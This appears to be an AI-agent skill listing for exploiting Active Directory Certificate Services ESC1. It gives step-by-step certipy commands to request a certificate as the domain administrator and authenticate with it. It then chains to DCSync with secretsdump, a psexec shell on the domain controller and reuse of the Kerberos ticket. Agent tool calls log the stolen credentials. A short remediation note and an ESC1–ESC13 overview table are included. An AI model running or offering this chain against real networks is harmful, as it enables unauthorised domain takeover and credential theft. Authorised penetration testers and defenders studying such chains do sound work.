Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.
66
81%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
ESC1 is the most common ADCS misconfig: a certificate template with ENROLLEE_SUPPLIES_SUBJECT set, allowing any enrollee to request a cert for any user. Pair with Client Authentication EKU → authenticate as that user via PKINIT → instant domain admin.
# Certipy (preferred)
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \
-output /tmp/adcs -text -stdout > /tmp/adcs.txt
# Or check JSON
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \
-output /tmp/adcs.jsonDecepticon ingest:
adcs_audit("/tmp/adcs.json")A template is ESC1-vulnerable when ALL true:
Enrollment Rights includes a group the attacker is in (Domain Users / Authenticated Users is jackpot)Client Authentication EKU or Smart Card Logon EKU or Any PurposeEnrollee Supplies Subject flag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)Manager Approval disabledAuthorized Signatures Required is 0certipy output marks these clearly:
[!] Vulnerabilities
ESC1 : 'DOMAIN\\Domain Users' can enroll, enrollee supplies subject and template allows client authenticationcertipy req -u USER@DOM -p 'PASS' -ca CA_NAME \
-target CA_FQDN -template VULNERABLE_TEMPLATE \
-upn 'administrator@dom' \
-dc-ip DC_IP \
-out /tmp/admin.pfxThe magic is -upn administrator@dom — because ENROLLEE_SUPPLIES_SUBJECT
is set, the CA issues a cert with that UPN even though we're a regular
user requesting it.
PKINIT (cert → TGT):
certipy auth -pfx /tmp/admin.pfx -dc-ip DC_IP
# Output: TGT cached, NT hash printedYou get back:
administrator.ccache (use w/ export KRB5CCNAME=...)With NT hash:
# DCSync
secretsdump.py -hashes :NT_HASH 'DOM/administrator@DC_IP' -just-dc
# Shell on DC
psexec.py -hashes :NT_HASH 'DOM/administrator@DC_IP'
# Or use the ccache TGT directly
export KRB5CCNAME=/tmp/administrator.ccache
smbclient.py -k -no-pass 'DC@DC_IP'kg_add_node(kind="vulnerability", label="ADCS ESC1: <template> → DA",
props={"severity":"critical","ca":"<ca>","template":"<tpl>"})
kg_add_node(kind="credential", label="administrator:NT_HASH")
kg_add_edge(src=<vuln>, dst=<cred>, kind="grants")
kg_add_edge(src=<cred>, dst=<crown_jewel:domain>, kind="compromises")| ESC | Misconfig | Sub-skill |
|---|---|---|
| ESC1 | Enrollee supplies subject + client auth EKU | THIS doc |
| ESC2 | Any Purpose EKU template | similar to ESC1 |
| ESC3 | Enrollment Agent template | needs ESC3 + ESC2 combo |
| ESC4 | Vulnerable template ACL (GenericAll, WriteDacl) | edit template → ESC1 |
| ESC5 | Vulnerable PKI object ACL | edit CA settings |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | request as any user via SAN |
| ESC7 | Vulnerable CA ACL (ManageCA, ManageCertificates) | approve denied req |
| ESC8 | NTLM relay → AD CS web enrollment | coerce + relay |
| ESC9 | UPN no security extension | low-priv → high-priv via S4U2self |
| ESC10 | Weak certificate mapping (StrongCertificateBindingEnforcement=0) | UPN spoof |
| ESC11 | NTLM relay to ICPR (RPC) | similar to ESC8 |
| ESC13 | Cert template w/ OID linked to group → group membership manipulation |
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0# Disable the dangerous flag
certutil -dstemplate <Template> | findstr msPKI-Certificate-Name-Flag
# Should NOT contain CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)
# Fix via UI: Template properties → Subject Name tab → uncheck
# "Supply in the request"5e34a6d
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.